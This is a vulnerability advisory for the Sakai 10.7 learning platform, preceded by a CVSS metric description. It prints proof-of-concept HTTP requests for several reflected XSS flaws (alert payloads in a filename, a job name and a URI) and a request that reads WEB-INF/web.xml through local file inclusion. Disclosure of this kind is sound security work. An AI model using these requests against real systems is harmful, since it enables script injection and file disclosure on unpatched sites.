The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Sakai 10.7 Cross Site Scripting / Local File InclusionSakai 10.7 Multiple Vulnerabilities
Vendor: Apereo Foundation
Product web page: https://www.sakaiproject.org
Affected version: 10.7 (Kernel 10.7)
Summary: Sakai is a free, community source, educational software
platform designed to support teaching, research and collaboration.
Systems of this type are also known as Course Management Systems (CMS),
Learning Management Systems (LMS), or Virtual Learning Environments (VLE).
Desc: Sakai suffers from multiple reflected cross-site scripting vulnerabilities
when input passed via several parameters to several scripts is not properly
sanitized before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an
affected site. Also there is a file disclosure vulnerability when calling
custom tool script. It is not properly verified before being used to read files.
This can be exploited to disclose contents of files from local resources.
Tested on: Apache-Coyote/1.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5358
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5358.php
Vendor: https://jira.sakaiproject.org/browse/SAK-26334 (XSS file upload filename param)
https://jira.sakaiproject.org/browse/SAK-31523 (XSS when creating job)
https://jira.sakaiproject.org/browse/SAK-31524 (XSS in URI)
https://jira.sakaiproject.org/browse/SAK-31525 (LFI when calling tools)
29.06.2016
--
XSS when using file upload (filename parameter):
------------------------------------------------
POST /sakai-fck-connector/web/editor/filemanager/browser/default/connectors/jsp/connector/user/admin/?Command=FileUpload&Type=JSP&CurrentFolder=%2Fgroup%2FPortfolioAdmin%2F HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryViazQNB5ok9E64l2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://localhost:8080/library/editor/FCKeditor/editor/filemanager/browser/default/frmresourceslist.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close
------WebKitFormBoundaryViazQNB5ok9E64l2
Content-Disposition: form-data; name="NewFile"; filename="test.jsp'-alert(1)-'foo"
Content-Type: application/octet-stream
testingus
------WebKitFormBoundaryViazQNB5ok9E64l2--
Response:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=EmulateIE11
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Content-Length: 383
Date: Wed, 29 Jun 2016 11:45:49 GMT
Connection: close
<script type="text/javascript">
(function(){ var d = document.domain ; while ( true ) {
try { var test = parent.document.domain ; break ; } catch( e ) {}
d = d.replace( /.*?(?:.|$)/, '' ) ; if ( d.length == 0 ) break ;
try { document.domain = d ; } catch (e) { break ; }}})() ;
window.parent.OnUploadCompleted(201,'','test.jsp'-alert(1)-'foo','');
</script>
XSS when creating a job (After creating a job, click on "Triggers" link):
-------------------------------------------------------------------------
GET /portal/tool/~admin-1010/create_job?_id2:job_name=TEST';alert(2)//&_id2%3A_id10=Data+Warehouse+Update&_id2:_id14=Post&com.sun.faces.VIEW=&_id2=_id2 HTTP/1.1
Host: localhost:8080
XSS in URI:
-----------
GET /access/basiclti/site/~admin/axxm4j<img src=a onerror=alert(3)> HTTP/1.1
Host: localhost:8080
LFI when calling custom tool (Affects Apache Wicket tools like Profile2 and Statistics.
Adding "../" is not needed to reproduce the issue. It can be reproduced just by visiting:
/portal/tool/[TOOL_ID]/WEB-INF/web.xml):
----------------------------------------
GET /portal/tool/41fec34b-a47c-4aa5-8786-3873533f44fa/CvnkzU-31z-1QPe7Z2iQOA/../WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
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